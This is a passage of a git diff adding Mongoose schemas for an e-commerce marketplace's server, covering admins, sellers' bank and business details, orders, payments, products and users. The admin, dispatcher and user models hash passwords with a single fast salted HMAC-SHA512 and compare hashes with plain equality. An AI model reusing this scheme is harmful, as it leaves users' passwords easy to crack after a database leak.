district: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
muncipality: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
wardno: {
|
||||
type: Number
|
||||
},
|
||||
businessInfo: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "businessinfo"
|
||||
},
|
||||
adminBank: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminbank"
|
||||
},
|
||||
adminWareHouse: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminwarehouse"
|
||||
},
|
||||
phone: {
|
||||
type: Number,
|
||||
max: 9999999999
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
photo: {
|
||||
type: String
|
||||
},
|
||||
holidayMode: {
|
||||
start: {
|
||||
type: Number
|
||||
},
|
||||
end: {
|
||||
type: Number
|
||||
}
|
||||
},
|
||||
salt: String,
|
||||
role: {
|
||||
type: String,
|
||||
enum: ["admin", "superadmin"],
|
||||
default: "admin"
|
||||
},
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
emailVerifyLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
adminSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
adminSchema.pre('save', function (next) {
|
||||
let admin = this;
|
||||
if (admin.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(admin.password, salt);
|
||||
admin.password = passwordData.passwordHash;
|
||||
admin.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
adminSchema.statics.findByCredentials = async function (email, password) {
|
||||
let Admin = this;
|
||||
const admin = await Admin.findOne({ email })
|
||||
if (!admin) return ''
|
||||
let passwordData = sha512(password, admin.salt)
|
||||
if (passwordData.passwordHash == admin.password) {
|
||||
return admin
|
||||
}
|
||||
}
|
||||
module.exports = mongoose.model("admin", adminSchema);
|
||||
49
server/models/AdminBank.js
Normal file
@@ -0,0 +1,49 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const bankSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
accountHolder: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
bankName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
branchName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
accountNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
routingNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
chequeCopy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("adminbank", bankSchema);
|
||||
10
server/models/AdminFiles.js
Normal file
@@ -0,0 +1,10 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const adminFileSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
fileUri: String
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('adminfile', adminFileSchema);
|
||||
39
server/models/AdminWarehouse.js
Normal file
@@ -0,0 +1,39 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const warehouseSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("adminwarehouse", warehouseSchema);
|
||||
19
server/models/Banner.js
Normal file
@@ -0,0 +1,19 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const bannerSchema = mongoose.Schema({
|
||||
bannerPhoto :{
|
||||
type:String
|
||||
},
|
||||
link: {
|
||||
type: String
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('banner', bannerSchema);
|
||||
57
server/models/BusinessInfo.js
Normal file
@@ -0,0 +1,57 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const businessSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
ownerName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
citizenshipNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
businessRegisterNumber:{
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
citizenshipFront: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
citizenshipBack: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
businessLicence:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
isVerified:{
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("businessinfo", businessSchema);
|
||||
23
server/models/Cart.js
Normal file
@@ -0,0 +1,23 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const cartSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
},
|
||||
productAttributes: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('cart', cartSchema);
|
||||
34
server/models/Category.js
Normal file
@@ -0,0 +1,34 @@
|
||||
const mongoose = require("mongoose");
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const Schema = mongoose.Schema
|
||||
const categorySchema = new mongoose.Schema({
|
||||
systemName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
displayName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
parent: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productbrand'
|
||||
},
|
||||
brands: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'category'
|
||||
}],
|
||||
slug:{
|
||||
type: String
|
||||
},
|
||||
isDisabled: {
|
||||
type: Date,
|
||||
default:null
|
||||
}
|
||||
});
|
||||
categorySchema.plugin(URLSlugs('displayName', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("category", categorySchema);
|
||||
76
server/models/Dispatcher.js
Normal file
@@ -0,0 +1,76 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const dispatcherSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
phone: {
|
||||
type: Number,
|
||||
max: 9999999999
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
salt: String,
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
dispatcherSchema.pre('save', function (next) {
|
||||
let dispatcher = this;
|
||||
if (dispatcher.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(dispatcher.password, salt);
|
||||
dispatcher.password = passwordData.passwordHash;
|
||||
dispatcher.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
dispatcherSchema.statics.findByCredentials = async function (email, password) {
|
||||
let Dispatcher = this;
|
||||
const dispatcher = await Dispatcher.findOne({ email })
|
||||
if (!dispatcher) return ''
|
||||
let passwordData = sha512(password, dispatcher.salt)
|
||||
if (passwordData.passwordHash == dispatcher.password) {
|
||||
return dispatcher
|
||||
}
|
||||
}
|
||||
module.exports = mongoose.model("dispatcher", dispatcherSchema);
|
||||
10
server/models/Districts.js
Normal file
@@ -0,0 +1,10 @@
|
||||
const mongoose = require('mongoose');
|
||||
const { districts } = require('../middleware/common');
|
||||
const districtSchema = mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
unique: true,
|
||||
enum : districts
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('district', districtSchema);
|
||||
12
server/models/Lead.js
Normal file
@@ -0,0 +1,12 @@
|
||||
const mongoose = require('mongoose');
|
||||
const leadSchema = mongoose.Schema({
|
||||
email: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('lead', leadSchema);
|
||||
18
server/models/ManualOrder.js
Normal file
@@ -0,0 +1,18 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const manualOrderSchema = mongoose.Schema({
|
||||
productName:{
|
||||
type: String
|
||||
},
|
||||
link:{
|
||||
type: String
|
||||
},
|
||||
description: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('manualorder', manualOrderSchema);
|
||||
29
server/models/Notification.js
Normal file
@@ -0,0 +1,29 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const notificationSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
notifications: [{
|
||||
notificationType: String, //order, question_on_product, answer_on_product, review
|
||||
notificationDetail: Object, //details in key/value
|
||||
hasRead: {
|
||||
type: Boolean,
|
||||
default: false
|
||||
},
|
||||
date: {
|
||||
type: Date
|
||||
},
|
||||
// hasSeen: {
|
||||
// type: Boolean,
|
||||
// default: false
|
||||
// }
|
||||
}],
|
||||
noOfUnseen: {
|
||||
type: Number,
|
||||
default: 0
|
||||
}
|
||||
|
||||
});
|
||||
module.exports = mongoose.model('notification', notificationSchema);
|
||||
149
server/models/Order.js
Normal file
@@ -0,0 +1,149 @@
|
||||
const mongoose = require("mongoose");
|
||||
const { allOrderStatus } = require("../middleware/common");
|
||||
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
const orderSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
orderID:{
|
||||
type: String,
|
||||
require: true
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
required: true
|
||||
},
|
||||
payment: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "payment",
|
||||
},
|
||||
quantity: {
|
||||
type: Number
|
||||
},
|
||||
soldBy:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref:"admin"
|
||||
},
|
||||
status: {
|
||||
currentStatus: {
|
||||
type: String,
|
||||
enum: allOrderStatus
|
||||
},
|
||||
activeDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
approvedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
dispatchedDetail: {
|
||||
dispatchedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
dispatchedBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'dispatcher'
|
||||
},
|
||||
},
|
||||
cancelledDetail: {
|
||||
cancelledDate:{
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
cancelledBy:{
|
||||
type: Schema.Types.ObjectId,
|
||||
refPath: "cancelledByModel"
|
||||
},
|
||||
remark: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
},
|
||||
},
|
||||
completedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
tobereturnedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
// tobeReturnedDetail: {
|
||||
// tobereturnedDate: {
|
||||
// type: Date
|
||||
// },
|
||||
// remark: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// ref: 'remark'
|
||||
// },
|
||||
// },
|
||||
returnedDetail: {
|
||||
returnedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
returneddBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'dispatcher'
|
||||
},
|
||||
remark: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
}],
|
||||
},
|
||||
},
|
||||
shipto:{
|
||||
region: {//pradesh
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
area: {//tole,area name
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
address: {//street level address
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
max: 9999999999,
|
||||
}
|
||||
},
|
||||
isPaid:{
|
||||
type: Boolean,
|
||||
default: false
|
||||
},
|
||||
cancelledByModel: {
|
||||
type: String,
|
||||
enum: ['user', 'admin']
|
||||
},
|
||||
productAttributes:{
|
||||
type: String
|
||||
}
|
||||
}, { timestamps: true });
|
||||
orderSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
module.exports = mongoose.model("order", orderSchema);
|
||||
43
server/models/Payment.js
Normal file
@@ -0,0 +1,43 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const paymentSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
order: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "order",
|
||||
required: true
|
||||
},
|
||||
method: {
|
||||
type: String,
|
||||
enum: ['Cash on Delivery','manual']//manual ==> bank or manual esewa..
|
||||
},
|
||||
shippingCharge: {
|
||||
type: Number,
|
||||
},
|
||||
amount: {
|
||||
type: Number,
|
||||
},
|
||||
returnedAmount: {
|
||||
type: Number,
|
||||
default: null
|
||||
},
|
||||
transactionCode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
from:{
|
||||
type:Number,
|
||||
max: 9999999999 //!esewa && receiverNumber
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("payment", paymentSchema);
|
||||
141
server/models/Product.js
Normal file
@@ -0,0 +1,141 @@
|
||||
const mongoose = require("mongoose");
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const { districts } = require("../middleware/common");
|
||||
const Schema = mongoose.Schema;
|
||||
const productSchema = mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 128
|
||||
},
|
||||
brand: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productbrand'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
category: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'category'
|
||||
}],
|
||||
averageRating:{
|
||||
type: mongoose.Decimal128
|
||||
},
|
||||
totalRatingUsers:{
|
||||
type: Number
|
||||
},
|
||||
soldBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'admin'
|
||||
},
|
||||
images: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productimages'
|
||||
}],
|
||||
warranty: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
return: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
size: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
}],
|
||||
model: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
},
|
||||
color: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
}],
|
||||
weight: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
}],
|
||||
description: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 2000
|
||||
},
|
||||
highlights: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 2000
|
||||
},
|
||||
tags: [{
|
||||
type: String
|
||||
}],
|
||||
price: {
|
||||
type: mongoose.Decimal128,
|
||||
required:true
|
||||
},
|
||||
discountRate: {
|
||||
type: Number,//it may b float as well..
|
||||
default:0
|
||||
},
|
||||
videoURL:[{
|
||||
type:String
|
||||
}],
|
||||
isVerified: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isRejected: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isFeatured: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
viewsCount: {
|
||||
type: Number,
|
||||
default: 0,
|
||||
},
|
||||
trendingScore: {
|
||||
type: mongoose.Decimal128,
|
||||
default: 0
|
||||
},
|
||||
noOfSoldOut: {
|
||||
type: Number,
|
||||
default: 0,
|
||||
},
|
||||
slug: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
availableDistricts:[{
|
||||
type: String,
|
||||
enum: districts,
|
||||
required: true
|
||||
}],
|
||||
remark: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
}],
|
||||
}, { timestamps: true });
|
||||
productSchema.plugin(URLSlugs('name', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("product", productSchema);
|
||||
16
server/models/ProductBrand.js
Normal file
@@ -0,0 +1,16 @@
|
||||
const mongoose = require('mongoose');
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const brandSchema = new mongoose.Schema({
|
||||
brandName: {
|
||||
type : String
|
||||
},
|
||||
systemName: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
slug:{
|
||||
type: String
|
||||
}
|
||||
})
|
||||
brandSchema.plugin(URLSlugs('brandName', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("productbrand", brandSchema);
|
||||
19
server/models/ProductImages.js
Normal file
@@ -0,0 +1,19 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const productImageSchema = mongoose.Schema({
|
||||
thumbnail: {
|
||||
type: String
|
||||
},
|
||||
medium: {
|
||||
type: String
|
||||
},
|
||||
large: {
|
||||
type:String
|
||||
},
|
||||
productLink:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('productimages', productImageSchema);
|
||||
37
server/models/QnA.js
Normal file
@@ -0,0 +1,37 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const qnaSchema = new mongoose.Schema({
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
required: true
|
||||
},
|
||||
qna: [{
|
||||
question: {
|
||||
type: String
|
||||
},
|
||||
questionby: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
},
|
||||
questionedDate:{
|
||||
type: Date
|
||||
},
|
||||
answer: {
|
||||
type: String
|
||||
},
|
||||
answerby: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
answeredDate: {
|
||||
type: Date
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("qna", qnaSchema);
|
||||
24
server/models/RefereshToken.js
Normal file
@@ -0,0 +1,24 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const tokenSchema = mongoose.Schema({
|
||||
//we need user ref in order to create accessToken of that user only
|
||||
// user: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "sysUsers",
|
||||
// },
|
||||
refreshToken:{
|
||||
type: String,
|
||||
default: ''
|
||||
},
|
||||
userIP: {
|
||||
type: String
|
||||
},
|
||||
// expires: {
|
||||
// type : Date
|
||||
// },
|
||||
// sysUsers: {
|
||||
// type: String,
|
||||
// enum: ['user', 'admin','dispatcher']
|
||||
// },
|
||||
});
|
||||
module.exports = mongoose.model('refreshtoken', tokenSchema);
|
||||
27
server/models/Remark.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const remarkSchema = mongoose.Schema({
|
||||
comment: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
// createdBy: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "deletedByModel"
|
||||
// },
|
||||
// deletedBy: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "deletedByModel"
|
||||
// },
|
||||
// deleteByModel: {
|
||||
// type: String,
|
||||
// enum: ['dispatcher', 'admin', 'user', 'superadmin']
|
||||
// },
|
||||
// reason: {
|
||||
// type: String//product_tobereturned,cancel_order_by_admin, cancel_order_by_user, disapprove_product
|
||||
// }
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('remark', remarkSchema);
|
||||
20
server/models/Review.js
Normal file
@@ -0,0 +1,20 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const reviewSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
comment: {
|
||||
type: String
|
||||
},
|
||||
star: {
|
||||
type: Number,
|
||||
max:5
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('reviews', reviewSchema);
|
||||
11
server/models/SocketMapping.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
//later we have to do mapping through redis server
|
||||
const socketMappingSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
socketId: String
|
||||
});
|
||||
module.exports = mongoose.model('socketmapping', socketMappingSchema);
|
||||
12
server/models/SuggestKeywords.js
Normal file
@@ -0,0 +1,12 @@
|
||||
const mongoose = require('mongoose');
|
||||
const suggestKeywordSchema = mongoose.Schema({
|
||||
keyword: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('suggestkeyword', suggestKeywordSchema);
|
||||
100
server/models/User.js
Normal file
@@ -0,0 +1,100 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const userSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
// unique:true
|
||||
},
|
||||
userID: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
loginDomain: {
|
||||
type: String,
|
||||
default: "system",//can be facebook, google as well
|
||||
enum:['system', 'facebook', 'google']
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
// required: true
|
||||
},
|
||||
location: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "address"
|
||||
}],
|
||||
photo: {
|
||||
type: String
|
||||
},
|
||||
socialPhoto: {
|
||||
type: String
|
||||
},
|
||||
dob:{
|
||||
type: String
|
||||
},
|
||||
gender:{
|
||||
type:String,
|
||||
enum:['male','female','other']
|
||||
},
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
emailVerifyLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
salt: String,
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
userSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
userSchema.pre('save', function (next) {
|
||||
let user = this;
|
||||
if (user.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(user.password, salt);
|
||||
user.password = passwordData.passwordHash;
|
||||
user.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
userSchema.statics.findByCredentials = async function (email, password) {
|
||||
let User = this;
|
||||
const user = await User.findOne({ email, loginDomain:'system' })
|
||||
if (!user) return ''
|
||||
let passwordData = sha512(password, user.salt)
|
||||
if (passwordData.passwordHash == user.password) {
|
||||
return user
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = mongoose.model("user", userSchema);
|
||||
20
server/models/WishList.js
Normal file
@@ -0,0 +1,20 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const wishSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
